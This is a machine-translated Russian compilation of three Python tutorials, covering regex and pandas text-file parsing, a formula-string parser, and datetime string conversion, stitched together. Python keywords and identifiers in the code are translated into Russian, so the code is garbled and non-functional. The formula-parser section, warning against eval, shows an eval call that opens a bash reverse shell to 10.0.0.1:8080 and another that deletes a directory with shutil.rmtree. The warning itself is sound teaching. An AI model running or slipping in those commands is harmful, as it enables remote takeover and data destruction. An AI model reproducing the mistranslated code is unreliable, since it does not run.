Если вы аналитик данных Python, то, скорее всего, вы знакомы с pandas. Это пакет Python, который предоставляет класс DataFrame и другие функции для безумно мощного анализа данных с минимальными усилиями. Это абстракция поверх Numpy, которая предоставляет многомерные массивы, похожие на Matlab. DataFrame — это 2D-массив, но он может иметь несколько индексов строк и столбцов, которые pandas называет MultiIndex , что по сути позволяет хранить многомерные данные. Операции в стиле SQL или базы данных могут быть легко выполнены с помощью pandas (сравнение с SQL). Pandas также поставляется с набором инструментов ввода-вывода, который включает функции для работы с CSV, MS Excel, JSON, HDF5 и другими форматами данных.

Хотя мы хотели бы считывать данные в многофункциональную структуру данных, такую как pandas DataFrame , было бы очень неэффективно создавать пустой DataFrame и напрямую записывать в него данные. DataFrame — это сложная структура данных, и запись чего-либо в DataFrame элемент за элементом требует больших вычислительных ресурсов. Намного быстрее читать данные в примитивном типе данных, таком как список или dict . После того, как список или dict создан, pandas позволяет нам легко преобразовать его в DataFrame , как вы увидите позже. На изображении ниже показан стандартный процесс анализа любого файла.

Если ваши данные имеют стандартный или достаточно близкий формат, то, вероятно, существует уже существующий пакет, который вы можете использовать для чтения ваших данных с минимальными усилиями.

Например, у нас есть файл CSV, data.txt:

  а, б, в
1,2,3
4,5,6
7,8,9

Вы можете легко справиться с этим с помощью pandas.

  импортировать панд как pd
df = pd.read_csv ('данные.txt')
df

Python невероятен, когда дело касается строк. Стоит усвоить все стандартные строковые операции.Мы можем использовать эти методы для извлечения данных из строки, как вы можете видеть в простом примере ниже.

  1 2 3 4 5 6 7 8

121314151617181

  my_string = 'Имена: Ромео, Джульетта'

# разделить строку на ':'
step_0 = my_string.split (':')

# получаем первый кусок списка
step_1 = step_0 [1]

# разделить строку на ','
step_2 = step_1.split (',')

# удаляем пробелы в начале и конце каждого элемента списка
step_3 = [имя.strip () для имени на шаге_2]

# выполняем все перечисленные выше операции за один раз
one_go = [name.strip () для имени в my_string.split (':') [1] .split (',')]

для idx, элемент в перечислении ([step_0, step_1, step_2, step_3]):
    print ("Шаг {}: {}". format (idx, item))

print ("Окончательный результат за один раз: {}". format (one_go))

  Шаг 0: [«Имена», «Ромео, Джульетта»]
Шаг 1: Ромео, Джульетта
Шаг 2: [«Ромео», «Джульетта»]
Шаг 3: [«Ромео», «Джульетта»]
Конечный результат за раз: [«Ромео», «Джульетта»]

Как вы видели в предыдущих двух разделах, если проблема синтаксического анализа проста, мы можем обойтись простым использованием существующего синтаксического анализатора или некоторых строковых методов.Однако жизнь не всегда так проста. Как мы подходим к синтаксическому анализу сложного текстового файла?

Шаг 1. Определите формат ввода

  с открытым ('sample.txt') в виде файла:
    file_contents = file.read ()
    печать (file_contents)

  Пример текста

В викторине приняли участие некоторые студенты из Ривердейл Хай и Хогвартс.
Ниже приведены их результаты.

Школа = Средняя школа Ривердейла
Оценка = 1
Номер студента, Имя
0, Фиби
1, Рэйчел

Номер ученика, Оценка
0, 3
1, 7

Оценка = 2
Номер студента, Имя
0, Анжела
1, Тристан
2, Аврора

Номер ученика, Оценка
0, 6
1, 3
2, 9

Школа = Хогвартс
Оценка = 1
Номер студента, Имя
0, Джинни
1, Луна

Номер ученика, Оценка
0, 8
1, 7

Оценка = 2
Номер студента, Имя
0, Гарри
1, Гермиона

Номер ученика, Оценка
0, 5
1, 10

Оценка = 3
Номер студента, Имя
0, Фред
1, Георгий

Номер ученика, Оценка
0, 0
1, 0

Это довольно сложный входной файл! Уф! Данные, которые он содержит, довольно просты, как вы можете видеть ниже:

  Имя Оценка
Номер школьного класса
Хогвартс 1 0 Джинни 8
                     1 Луна 7
               2 0 Гарри 5
                     1 Гермиона 10
               3 0 Фред 0
                     1 Георгий 0
Ривердейл Хай 1 0 Фиби 3
                     1 Рэйчел 7
               2 0 Анджела 6
                     1 Тристан 3
                     2 Аврора 9

Образец текста похож на CSV в том, что в нем используются запятые для разделения некоторой информации.Вверху файла есть заголовок и некоторые метаданные. Есть пять переменных: школа, оценка, номер ученика, имя и оценка. Ключевыми являются школа, класс и номер ученика. Имя и Оценка - это поля. Для данной школы, класса и номера ученика есть имя и оценка. Другими словами, школа, класс и номер учащегося вместе образуют составной ключ.

Данные представлены в иерархическом формате. Сначала объявляется школа, затем оценка. Далее следуют две таблицы, в которых указаны имя и оценка для каждого номера учащегося.Затем оценка увеличивается. Далее следует еще один набор таблиц. Затем образец повторяется для другой Школы. Обратите внимание, что количество учеников в классе или количество классов в школе непостоянны, что добавляет немного сложности к файлу. Это всего лишь небольшой набор данных. Вы можете легко представить, что это огромный файл с множеством школ, оценок и студентов.

Само собой разумеется, что формат данных исключительно плохой. Я сделал это специально. Если вы поймете, как с этим справиться, вам будет намного проще освоить более простые форматы.Нет ничего необычного в том, чтобы встретить подобные файлы, если приходится иметь дело с большим количеством устаревших систем. В прошлом, когда эти системы разрабатывались, возможно, не требовалось, чтобы выходные данные были машиночитаемыми. Однако в настоящее время все должно быть машиночитаемым!

Шаг 2: Импортируйте необходимые пакеты

Нам понадобится модуль регулярных выражений и пакет pandas. Итак, давайте продолжим и импортируем их.

`12`	`импорт ре импорт панд как pd`

Шаг 3. Определите регулярные выражения

На последнем этапе мы импортировали re, модуль регулярных выражений.Что это такое?

Итак, ранее мы видели, как использовать строковые методы для извлечения данных из текста. Однако при синтаксическом анализе сложных файлов мы можем столкнуться с большим количеством операций по удалению, разделению, нарезке и тому подобному, и код может выглядеть довольно нечитабельным. Именно здесь на помощь приходят регулярные выражения. По сути, это крошечный язык, встроенный в Python, который позволяет вам сказать, какой строковый шаблон вы ищете. Между прочим, он не уникален для Python (домик на дереве).

Вам не нужно быть мастером регулярных выражений.Однако некоторые базовые знания регулярных выражений могут быть очень полезны в вашей карьере программиста. В этой статье я научу вас только самым основам, но я призываю вас продолжить изучение. Я также рекомендую regexper для визуализации регулярных выражений. regex101 - еще один отличный ресурс для тестирования вашего регулярного выражения.

Нам понадобятся три регулярных выражения. Первый, как показано ниже, поможет нам идентифицировать школу. Его регулярное выражение - School = (. *) \ N .Что означают символы?

. : любой символ
* : 0 или более из предыдущего выражения
(. *) : Помещение части регулярного выражения в круглые скобки позволяет сгруппировать эту часть выражения. Итак, в данном случае сгруппированная часть - это название школы.
\ n : символ новой строки в конце строки

Затем нам понадобится регулярное выражение для оценки. Его регулярное выражение - Grade = (\ d +) \ n .Это очень похоже на предыдущее выражение. Новые символы:

\ d : сокращение от [0-9]
+ : 1 или более из предыдущего выражения

Наконец, нам нужно регулярное выражение, чтобы определить, является ли таблица, следующая за выражением в текстовом файле, таблицей имен или оценок. Его регулярное выражение - (Имя | Оценка) . Новый символ:

| : логика или утверждение, поэтому в данном случае это означает «Имя» или «Оценка».’

Нам также необходимо понимать несколько функций регулярных выражений:

re.compile (шаблон) : скомпилировать шаблон регулярного выражения в RegexObject.

A RegexObject имеет следующие методы:

match (string) : Если начало строки совпадает с регулярным выражением, вернуть соответствующий экземпляр MatchObject . В противном случае верните Нет .
search (строка) : сканировать строку в поисках места, где это регулярное выражение дало совпадение, и возвращать соответствующий экземпляр MatchObject .Вернуть Нет , если совпадений нет.

MatchObject всегда имеет логическое значение True . Таким образом, мы можем просто использовать оператор if для определения положительных совпадений. Имеет следующий метод:

group () : возвращает одну или несколько подгрупп совпадения. На группы можно ссылаться по их индексу. group (0) возвращает все совпадение. group (1) возвращает первую подгруппу в скобках и так далее.Используемые нами регулярные выражения имеют только одну группу. Легко! Однако что, если было несколько групп? Было бы сложно вспомнить, к какому номеру принадлежит группа. Специфичное для Python расширение позволяет нам называть группы и вместо этого ссылаться на них по имени. Мы можем указать имя в заключенной в скобки группе (...) , например: (? P ...) .

Давайте сначала определим все регулярные выражения. Обязательно используйте необработанные строки для регулярного выражения, т.е. используйте индекс r перед каждым шаблоном.

  # настроить регулярные выражения
# используйте https://regexper.com для визуализации при необходимости
rx_dict = {
    'школа': re.compile (r'School = (? P . *) \ n '),
    'оценка': re.compile (r'Grade = (? P  \ d +) \ n '),
    'name_score': re.compile (r '(? P  Имя | Оценка)'),
}

Шаг 4. Напишите синтаксический анализатор строки

Затем мы можем определить функцию, которая проверяет совпадения регулярных выражений.

  1 2 3 4 5 6 7 8

1213

  def _parse_line (строка):
    "" "
    Выполните поиск регулярных выражений по всем определенным регулярным выражениям и
    вернуть ключ и результат соответствия первого совпадающего регулярного выражения

    "" "

    для ключа, rx в rx_dict.items ():
        match = rx.search (строка)
        если совпадение:
            ключ возврата, совпадение
    # если совпадений нет
    возврат Нет, Нет

Шаг 5: Напишите анализатор файла

Наконец, для главного события у нас есть функция парсера файлов.Он довольно большой, но, надеюсь, комментарии в коде помогут вам понять логику.

  1 2 3 4 5 6 7 8

121314151617181

2223242526272829303132333435363738394041424344454647484950515253545556575859606162636465

  def parse_file (путь к файлу):
    "" "
    Анализировать текст по заданному пути к файлу

    Параметры
    ----------
    путь к файлу: str
        Путь к файлу для анализируемого объекта_файла

    Возврат
    -------
    данные: pd.DataFrame
        Проанализированные данные

    "" "

    data = [] # создаем пустой список для сбора данных
    # открыть файл и прочитать его построчно
    с open (путь к файлу, 'r') как объект_файла:
        строка = file_object.readline ()
        а строка:
            # в каждой строке проверять совпадение с регулярным выражением
            ключ, совпадение = _parse_line (строка)

            # извлечь название школы
            если ключ == 'школа':
                школа = match.group ('школа')

            # оценка извлечения
            если ключ == 'оценка':
                оценка = совпадение.группа ('оценка')
                grade = int (оценка)

            # определить заголовок таблицы
            если key == 'name_score':
                # извлечь тип таблицы, например, имя или счет
                value_type = match.group ('name_score')
                строка = file_object.readline ()
                # читаем каждую строку таблицы до пустой строки
                в то время как line.strip ():
                    # извлечь число и значение
                    число, значение = line.strip (). split (',')
                    значение = значение.полоска()
                    # создать словарь, содержащий эту строку данных
                    row = {
                        'Школа': школа,
                        «Оценка»: оценка,
                        'Номер ученика': номер,
                        value_type: значение
                    }
                    # добавить словарь в список данных
                    data.append (строка)
                    строка = file_object.readline ()

            строка = file_object.readline ()

        # создаем DataFrame pandas из списка dicts
        данные = pd.DataFrame (данные)
        # установить школу, класс и номер студента в качестве индекса
        data.set_index (['Школа', 'Оценка', 'Номер учащегося'], inplace = True)
        # консолидируйте df, чтобы удалить nans
        data = data.groupby (level = data.index.names) .first ()
        # обновить рейтинг с числа с плавающей точкой до целого числа
        data = data.apply (pd.to_numeric, errors = 'ignore')
    вернуть данные

Шаг 6. Протестируйте синтаксический анализатор

Мы можем использовать наш синтаксический анализатор для нашего образца текста следующим образом:

 , если __name__ == '__main__':
    filepath = 'образец.текст'
    data = parse (путь к файлу)
    печать (данные)

  Имя Оценка
Номер школьного класса
Хогвартс 1 0 Джинни 8
                     1 Луна 7
               2 0 Гарри 5
                     1 Гермиона 10
               3 0 Фред 0
                     1 Георгий 0
Ривердейл Хай 1 0 Фиби 3
                     1 Рэйчел 7
               2 0 Анджела 6
                     1 Тристан 3
                     2 Аврора 9

Это все хорошо, и вы можете увидеть, сравнив ввод и вывод на глаз, что синтаксический анализатор работает правильно.Однако лучше всего всегда писать модульные тесты, чтобы убедиться, что ваш код выполняет то, что вы хотели. Каждый раз, когда вы пишете синтаксический анализатор, убедитесь, что он хорошо протестирован. У меня возникли проблемы с моими коллегами из-за того, что я использовал парсеры без тестирования ранее. Угу! Также стоит отметить, что это не обязательно должен быть последний шаг. Действительно, многие программисты проповедуют разработку через тестирование. Я не включил сюда набор тестов, так как хотел, чтобы это руководство было кратким.

Я разбирал текстовые файлы в течение года и со временем усовершенствовал свой метод. Тем не менее, я провел дополнительное исследование, чтобы узнать, есть ли лучшее решение. В самом деле, я должен поблагодарить различных членов сообщества, которые посоветовали мне оптимизировать мой код. Сообщество также предложило несколько различных способов синтаксического анализа текстового файла. Некоторые из них были умными и интересными. Моим личным фаворитом был этот. Я представил свой пример проблемы и решения на форумах ниже:

Пост на Reddit
Сообщение Stackoverflow
Сообщение с обзором кода

Если ваша проблема еще более сложная и регулярные выражения ее не решают, то следующим шагом будет анализ библиотек.Вот несколько мест для начала:

Разбор ужасных вещей с помощью Python:
Лекция Эрика Роуза по PyCon, в которой рассматриваются плюсы и минусы различных библиотек синтаксического анализа.
Разбор в Python: инструменты и библиотеки:
Инструменты и библиотеки, позволяющие создавать парсеры, когда регулярных выражений недостаточно.

Теперь, когда вы понимаете, насколько сложным и раздражающим может быть анализ текстовых файлов, если вы когда-нибудь окажетесь в привилегированном положении при выборе формата файла, выбирайте его с осторожностью.Вот лучшие практики Стэнфорда для форматов файлов.

Я бы солгал, если бы сказал, что мне понравился мой метод синтаксического анализа, но я не знаю другого способа, быстрого синтаксического анализа текстового файла, который так же удобен для новичков, как то, что я представил выше. Если вы знаете лучшее решение, я всем внимателен! Надеюсь, я дал вам хорошую отправную точку для анализа файла на Python! Я потратил пару месяцев на то, чтобы пробовать множество разных методов и писать какой-то безумно нечитаемый код, прежде чем я наконец понял это, и теперь я не думаю дважды о синтаксическом анализе файла.Итак, я надеюсь, что мне удалось сэкономить вам время. Получайте удовольствие от синтаксического анализа текста с помощью Python!

Как написать синтаксический анализатор строки формул на Python | Кристофер Тао

Интерпретация формулы в строковом формате для ее выполнения

Итак, что я имею в виду под «Строкой формулы» здесь? Вместо кода a + (b + c) мы можем прочитать «a + (b + c)» как строку, а затем интерпретировать ее в Python, включая:

Понимание основных операторов + , - , * , /
Понимание приоритета вычисления, например * и /, следует вычислять перед любыми + и - .
Что такое круглые скобки при расчете приоритета.
Общие сведения о некоторых операторах более высокого уровня, таких как сигма. Здесь мы используем sum () , avg () , min () и max () .
Наконец, вы сможете найти правильное значение на основе имен переменных, которыми в приведенном выше примере являются a , b и c . Конечно, на практике «переменные» будут более сложными.

Основная страница моего GitHub размещена в конце этой статьи.Итак, позвольте мне использовать снимки экрана из Jupyter Notebook для пошаговой реализации, которую легче читать.

Перед реализацией я хотел бы обсудить, почему нам нужно писать собственный синтаксический анализатор, несмотря на то, что потенциально есть другие способы сделать это.

Кто-то может предположить, что это может сделать функция eval .

Однако было доказано, что функция eval очень опасна, что может использоваться только в экспериментальных целях и никогда не должна появляться в производственной среде.

Причина 1: хакеры могут запускать любые выражения

Как только хакер понимает, что программа Python читает некоторые строки и запускает их в функции eval , эту дыру в безопасности можно использовать для запуска практически всего.

Например, выполните некоторые вредоносные команды, такие как

 eval ("__ import __ ('os'). System ('bash -i> & /dev/tcp/10.0.0.1/8080 0> & 1') #")

запустить опасную команду для удаления важных файлов

 eval ("__ import __ ('shutil').rmtree ('/ an / important / path /') ")

Причина 2: он нарушает Фундаментальный принцип разработки программного обеспечения

То есть ваш исходный код должен быть самодостаточным со всеми его функциями и функциями. Он полагается на некоторый дополнительный статический источник как часть вашей программы, который может легко выйти из-под контроля, и функциональность больше не будет ожидаемой.

Причина 3: Это приводит к плохой ремонтопригодности

Независимо от того, насколько плох код, который мы написали , мы можем либо реорганизовать его, либо исправить ошибки в нем.Чем больше у нас «итераций», тем ближе наша программа к «идеальной». Однако использование функции eval позволит вашей программе всегда иметь что-то вроде обычного жизненного цикла тестирования, что никогда не делает ее «идеальной».

Причина 4: Низкая производительность

Наша программа будет скомпилирована до того, как мы ее запустим. Однако использование функции eval приведет к компиляции «на лету» при каждом вызове функции. Таким образом, производительность будет ниже и никогда не будет ожиданий по времени выполнения.

Теперь определим проблему, которую нужно решить.

Предположим, у нас есть такой фрейм данных pandas, который считается нашими необработанными данными.

Теперь у нас есть такая формула, как сумма (tag1) + сумма (tag2) , или даже более сложная, например (сумма (tag1) + avg (tag2)) / avg (tag3) * 100 + max ( tag4) -мин (tag5) .

Наш синтаксический анализатор должен распознавать все математические выражения в формуле, а затем получать значения из кадра необработанных данных для выполнения этого вычисления.

Обратите внимание, что в этой проблеме есть скрытый этап.То есть у каждого тега есть несколько значений, поэтому нам нужно получить все значения в списке, а затем агрегировать значения.

Также ожидается, что для решения проблемы потребуются два основных метода:

Регулярные выражения (регулярное выражение)
Рекурсивные функции

Решение будет сложным. Итак, давайте решим проблему поэтапно.

Шаг 1. Только агрегирование

А пока давайте проигнорируем сложную формулу.\ (\)] + будет соответствовать 1 или нескольким символам, которые не являются ни (, ни ) , потому что мы не хотим, чтобы он совпадал с чем-то вроде суммы (tag1 + (tag2-tag3)) .

Затем f [4: -1] удалит «сумму (» с начала и «)» с конца. Таким образом, строка tag1 будет передана самой функции интерпретации для следующей рекурсии.

В следующей рекурсии параметром f будет строка tag1 , переданная из предыдущей рекурсии, и это будет соответствовать регулярному выражению r ’\ Atag [\ d] + \ Z’ .

После совпадения функция вернет df [df.tag == 'tag1'] ['value']. Values до предыдущей рекурсии, которая представляет собой массив всех значений tag1 в кадре необработанных данных.

Предыдущая рекурсия выполнит np.sum (...) массива, возвращаемого следующей рекурсией. Итак, скалярное значение будет возвращено.

Точно так же мы можем добавить еще elif условий для остальных 3 типов агрегатов.

Шаг 2. Операторы между агрегатами

Теперь давайте добавим поддержку операторов между агрегатами, например sum (tag1 + tag2) .

Идея такова:

Найдите в формуле любые операторы +, -, *, / , затем разделите формулу на несколько компонентов.
Отправьте компоненты в следующий раунд рекурсии для значений
Используйте соответствующее вычисление - плюс, минус, умножение или деление - между значениями компонентов

Здесь мы используем регулярное выражение r '[\ + \ -] ', чтобы разделить формулу, чтобы получить два компонента: левый компонент и правый компонент.Затем оба компонента передаются в рекурсию следующего уровня для получения их значений. После этого две составляющие будут рассчитаны на основе оператора между ними.

Очень важные советы:

Левый компонент должен быть атомарным компонентом, в котором больше нет операторов.
Правый компонент может иметь больше операторов, но он будет разделен в рекурсии следующего уровня.
Очень важно сначала разделить на +, - , если таковые имеются.Затем разделите на *, - , только если не осталось +, - . Это гарантирует, что *, - будет вычисляться с более высоким приоритетом, чем +, - .
При расчете деления / обязательно проверьте правильность знаменателя заранее.

Шаг 3: Оператор внутри агрегации

Наш синтаксический анализатор должен быть достаточно умен, чтобы обрабатывать такую формулу sum (tag1 + tag2) + avg (tag3) , что эквивалентно sum (tag1) + sum (tag2) + средн. (tag3) .

В этом случае наша предыдущая функция интерпретации разделит формулу sum (tag1 + tag2) + avg (tag3) на две части:

Если это произойдет, вся функция завершится ошибкой. Следовательно, нам нужно найти способ распознавать круглые скобки (могут быть вложенными), а затем сопоставлять операторы, которые не находятся внутри круглых скобок.

Давайте изменим нашу функцию следующим образом (в красном квадрате):

Функция remove_matched_parantheses выглядит следующим образом:

Объяснение реализации:

Удалите все совпавшие пары скобок, если они есть
Разделите формулу используя все +, - .Если не найдено, разделите с использованием *, /
Начните с самого левого компонента, если он содержит заключенные круглые скобки (число ( равно ) ), этот компонент является левым компонентом, а все правое - правильный компонент.
Если он не заключен, переходите к следующему компоненту, пока не обнаружите компонент, закрывающий круглые скобки (может быть вложенным). Затем все компоненты слева должны быть соединены как левый компонент, а все компоненты справа - это правый компонент.

Почему нам нужно удалить все совпавшие пары скобок?

Предположим, наша формула - сумма (tag1 + tag2) * avg (tag3) . Если мы не удалим совпавшую пару скобок, она будет разделена на сумм (tag1 и tag2) * avg (tag3) , поэтому наша функция завершится ошибкой.

Следовательно, мы должны убедиться, что распознаем операторы, которые не указаны в скобках, как упоминалось выше.

Мы пока не можем протестировать. Прежде чем мы сможем его проверить, необходимо решить следующий шаг.

Шаг 4: Добавьте поддержку ассоциативного закона

При работе с суммой (tag1 + tag2) текущая версия интерпретирует функцию не будет иметь проблем, если количество значений tag1 равно tag2 . Однако мы не можем предположить, что если мы хотим сделать нашу функцию интерпретатора универсальной. Следовательно, нам нужно переписать sum (tag1 + tag2) в sum (tag1) + sum (tag2) . Также нам нужно учитывать, есть ли внутри агрегатной функции вложенные круглые скобки.

Примечание: мы можем иметь только +, - внутри суммы () .

Интуиция:

Получите имя функции агрегирования, например sum
Удалите внешнюю функцию агрегирования
Найдите все операторы на текущем уровне, т.е. не во вложенных скобках. Затем разделите строку на компоненты с помощью этих операторов
Для каждого компонента добавьте имя функции (например,грамм. сумма () в качестве префикса и закрывающая скобка в конце )
Передать всю строку в следующую рекурсию

Вот код:

Теперь мы можем проверить нашу работу.

Шаг 5: Использование круглых скобок для изменения приоритета

Наш интерпретатор также должен распознавать круглые скобки, которые изменяют приоритет вычислений, например, эта формула

sum (tag1 + (tag2-tag3)) * (max (tag4) + avg (tag5))

Интуиция этого шага состоит в том, чтобы распознать пару заключенных круглых скобок, затем удалить внешние скобки и передать содержимое следующей рекурсии.Обратите внимание, что мы должны сопоставлять только шаблон, который начинается с ( и заканчивается на ) , так что мы не должны сопоставлять пары заключенных в круглые скобки, такие как sum (...) .

Итак, мы просто добавляем еще одно условие elif для соответствия этому шаблону и передаем содержимое следующей рекурсии.

Еще одна важная вещь - избежать бесконечной рекурсии здесь. Подумайте о первой функции суммы в приведенном выше примере sum (tag1 + (tag2-tag3)) , наша предыдущая реализация перепишет это в sum (tag1) + sum ((tag2-tag3)) .Затем второй компонент sum ((tag2-tag3)) вызовет бесконечную рекурсию, потому что он будет продолжать добавлять сумму к содержимому.

Код ниже предназначен для предотвращения этой проблемы. Причина, по которой мы должны использовать цикл while , а не одно условие if , состоит в том, чтобы сделать функцию более устойчивой к таким ситуациям, как сумма ((((tag2-tag3)))) .

А теперь проверим.

Шаг 6: Добавьте поддержку констант

Иногда необходимо иметь в формуле некоторые константы.Например, поверх предыдущего примера мы можем иметь следующую формулу:

(сумма (tag1 + (tag2-tag3)) + 10) * (max (tag4) + avg (tag5)) * 0,2

Интуиция этого шага относительно проста. Нам просто нужно проверить, является ли компонент числом. Если да, верните этот номер.

Еще одно условие будет достигать этого:

Давайте проверим это:

На данный момент мы закончили реализацию нашего анализатора формул Python. Весь код доступен здесь:

https: // gist.github.com/qiuyujx/fd285e2a2638978ae08f0b5c3eae54ab

Преобразование строк в datetime в Python

Введение

Одна из многих распространенных проблем, с которыми мы сталкиваемся при разработке программного обеспечения, - это обработка даты и времени. Например, после получения строки даты и времени из API нам необходимо преобразовать ее в удобочитаемый формат. Опять же, если один и тот же API используется в разных часовых поясах, преобразование будет другим. Хорошая библиотека даты и времени должна преобразовывать время в соответствии с часовым поясом.Это лишь один из многих нюансов, которые необходимо учитывать при работе с датами и временем.

К счастью, Python поставляется со встроенным модулем datetime для работы с датой и временем. Как вы, наверное, догадались, в нем есть различные функции для управления датой и временем. Используя этот модуль, мы можем легко проанализировать любую строку даты и времени и преобразовать ее в объект datetime .

Преобразование строк с использованием datetime

Модуль datetime состоит из трех разных типов объектов: date , time и datetime .Очевидно, что объект date содержит дату, time - время, а datetime - дату и время.

Например, следующий код напечатает текущую дату и время:

  дата и время импорта

print ('Текущая дата / время: {}'. формат (datetime.datetime.now ()))

Запуск этого кода напечатает что-то вроде этого:

  $ python3 datetime-print-1.py
Текущая дата / время: 2018-06-29 08: 15: 27.243860

Если пользовательское форматирование не задано, используется строковый формат по умолчанию, т.е.е. формат «2018-06-29 08: 15: 27.243860» соответствует формату ISO 8601 (ГГГГ-ММ-ДДТЧЧ: ММ: СС.мммммм). Если наша входная строка для создания объекта datetime имеет тот же формат ISO 8601, мы можем легко преобразовать ее в объект datetime .

Давайте посмотрим на код ниже:

  дата и время импорта

date_time_str = '2018-06-29 08:15: 27.243860'
date_time_obj = datetime.datetime.strptime (date_time_str, '% Y-% m-% d% H:% M:% S.% f')

print ('Дата:', date_time_obj.date ())
print ('Время:', date_time_obj.время())
print ('Дата-время:', date_time_obj)

При запуске он напечатает дату, время и дату-время:

  $ python3 datetime-print-2.py
Дата: 2018-06-29
Время: 08: 15: 27.243860
Дата-время: 2018-06-29 08: 15: 27.243860

В этом примере мы используем новый метод с именем strptime . Этот метод принимает два аргумента: первый - это строковое представление даты и времени, а второй - формат входной строки. Указание такого формата значительно ускоряет синтаксический анализ, поскольку datetime не нужно пытаться интерпретировать формат самостоятельно, что намного дороже в вычислительном отношении.Возвращаемое значение имеет тип datetime .

В нашем примере "2018-06-29 08:15: 27.243860" - это входная строка, а "% Y-% m-% d% H:% M:% S.% f" - это формат. нашей строки даты. Возвращенное значение datetime сохраняется в переменной date_time_obj . Поскольку это объект datetime , мы можем вызывать методы date () и time () непосредственно на нем. Как видно из выходных данных, он печатает часть «дата» и «время» входной строки.

Вам может быть интересно, что означает формат "% Y-% m-% d% H:% M:% S.% f" . Они известны как токены формата . Каждый токен представляет собой отдельную часть даты и времени, например день, месяц, год и т. Д. Ознакомьтесь с документацией strptime, чтобы найти список всех различных типов кода формата, поддерживаемых в Python. Для быстрого ознакомления вот что мы используем в приведенном выше коде:

% Y : Год (4 цифры)
% m : Месяц
% d : День месяца
% H : Час (24 часа)
% M : Минуты
% S : секунды
% f : микросекунды

Ожидается, что все эти токены, кроме года, будут дополнены нулями.

Итак, если формат строки известен, его можно легко проанализировать до объекта datetime , используя strptime . Приведу еще один нетривиальный пример:

  дата и время импорта

date_time_str = '28 июня 2018 г. 7:40'
date_time_obj = datetime.datetime.strptime (date_time_str, '% b% d% Y% I:% M% p')

print ('Дата:', date_time_obj.date ())
print ('Время:', date_time_obj.time ())
print ('Дата-время:', date_time_obj)

Из следующего вывода видно, что строка была успешно проанализирована, поскольку она правильно распечатывается объектом datetime здесь:

  $ python3 datetime-print-3.ру
Дата: 2018-06-28
Время: 07:40:00
Дата-время: 2018-06-28 07:40:00

Вот еще несколько примеров часто используемых форматов времени и токенов, используемых для синтаксического анализа:

  «28 июня 2018 г., 7:40» -> «% b% d% Y at% I:% M% p»
«18 сентября 2017 г., 22:19:55» -> «% B% d,% Y,% H:% M:% S»
«Вс, 12.05.99, 12: 30PM» -> «% a,% d /% m /% y,% I:% M% p»
«Пн, 21 марта, 2015» -> «% a,% d% B,% Y»
«2018-03-12T10: 12: 45Z» -> «% Y-% m-% dT% H:% M:% SZ»

Вы можете проанализировать строку даты и времени любого формата, используя таблицу, упомянутую в документации strptime.

Работа с часовыми поясами и datetime

Обработка даты и времени становится более сложной при работе с часовыми поясами. Все вышеупомянутые примеры, которые мы обсуждали, являются наивными объектами datetime , т.е. эти объекты не содержат данных, связанных с часовым поясом. Объект datetime имеет одну переменную, которая содержит информацию о часовом поясе, tzinfo .

  импортировать дату и время как dt

dtime = dt.datetime.now ()

печать (dtime)
печать (dtime.tzinfo)

Этот код напечатает:

  $ python3 datetime-tzinfo-1.ру
2018-06-29 22:16: 36.132767
Никто

Вывод tzinfo : None , поскольку это наивный объект datetime . Для преобразования часовых поясов для Python доступна библиотека pytz . Вы можете установить его, как описано в этих инструкциях. Теперь давайте воспользуемся библиотекой pytz , чтобы преобразовать указанную выше метку времени в UTC.

  импортировать дату и время как dt
импорт pytz

dtime = dt.datetime.now (pytz.utc)

печать (dtime)
печать (dtime.tzinfo)

Выход:

  $ python3 datetime-tzinfo-2.py
2018-06-29 17: 08: 00.586525 + 00: 00
универсальное глобальное время

+00: 00 - разница между отображаемым временем и временем UTC. В этом примере значение tzinfo также соответствует UTC, отсюда смещение 00:00 . В этом случае объект datetime - это объект с учетом часового пояса .

Точно так же мы можем преобразовать строки даты и времени в любой другой часовой пояс.Например, мы можем преобразовать строку «2018-06-29 17: 08: 00.586525 + 00: 00» в часовой пояс «America / New_York», как показано ниже:

  импортировать дату и время как dt
импорт pytz

date_time_str = '2018-06-29 17:08:00'
date_time_obj = dt.datetime.strptime (date_time_str, '% Y-% m-% d% H:% M:% S')

timezone = pytz.timezone ('Америка / Нью-Йорк')
timezone_date_time_obj = timezone.localize (date_time_obj)

print (timezone_date_time_obj)
печать (timezone_date_time_obj.tzinfo)

Выход:

  $ python3 datetime-tzinfo-3.ру
2018-06-29 17: 08: 00-04: 00
Америка / Нью-Йорк

Сначала мы преобразовали строку в объект datetime , date_time_obj . Затем мы преобразовали его в объект datetime с включенным часовым поясом, timezone_date_time_obj . Поскольку мы установили часовой пояс как «America / New_York», время вывода показывает, что он на 4 часа отстает от времени UTC на . Вы можете проверить эту страницу Википедии, чтобы найти полный список доступных часовых поясов.

Преобразование часовых поясов

Мы можем преобразовать часовой пояс объекта datetime из одного региона в другой, как показано в примере ниже:

  импортировать дату и время как dt
импорт pytz

timezone_nw = pytz.часовой пояс ('Америка / Нью-Йорк')
nw_datetime_obj = dt.datetime.now (часовой пояс_nw)

timezone_london = pytz.timezone ('Европа / Лондон')
london_datetime_obj = nw_datetime_obj.astimezone (часовой пояс_london)


print ('Америка / Нью-Йорк:', nw_datetime_obj)
print ('Европа / Лондон:', london_datetime_obj)

Сначала мы создали один объект datetime с текущим временем и установили его как часовой пояс "America / New_York". Затем, используя метод astimezone () , мы преобразовали этот datetime в часовой пояс «Европа / Лондон».Оба datetime s будут печатать разные значения, например:

  $ python3 datetime-tzinfo-4.py
Америка / Нью-Йорк: 2018-06-29 22: 21: 41.349491-04: 00
Европа / Лондон: 2018-06-30 03: 21: 41.349491 + 01: 00

Как и ожидалось, даты и время отличаются, так как разница между ними составляет около 5 часов.

Использование сторонних библиотек

Модуль

Python datetime может преобразовывать все разные типы строк в объект datetime . Но основная проблема в том, что для этого вам нужно создать соответствующую строку кода форматирования, которую сможет понять strptime .Создание этой строки требует времени и затрудняет чтение кода. Вместо этого мы можем использовать другие сторонние библиотеки, чтобы упростить задачу.

В некоторых случаях эти сторонние библиотеки также имеют лучшую встроенную поддержку для управления и сравнения даты и времени, а некоторые даже имеют встроенные часовые пояса, поэтому вам не нужно включать дополнительный пакет.

Давайте рассмотрим некоторые из этих библиотек в следующих разделах.

dateutil

Модуль dateutil является расширением модуля datetime .Одно из преимуществ состоит в том, что нам не нужно передавать код синтаксического анализа для синтаксического анализа строки. Например:

  из синтаксического анализа импорта dateutil.parser

datetime = parse ('2018-06-29 22:21:41')

печать (дата и время)

Эта функция parse автоматически проанализирует строку и сохранит ее в переменной datetime . Парсинг выполняется автоматически. Вам не нужно указывать какую-либо строку формата. Попробуем разобрать разные типы строк с помощью dateutil :

  от dateutil.синтаксический анализатор импорта синтаксический анализ

date_array = [
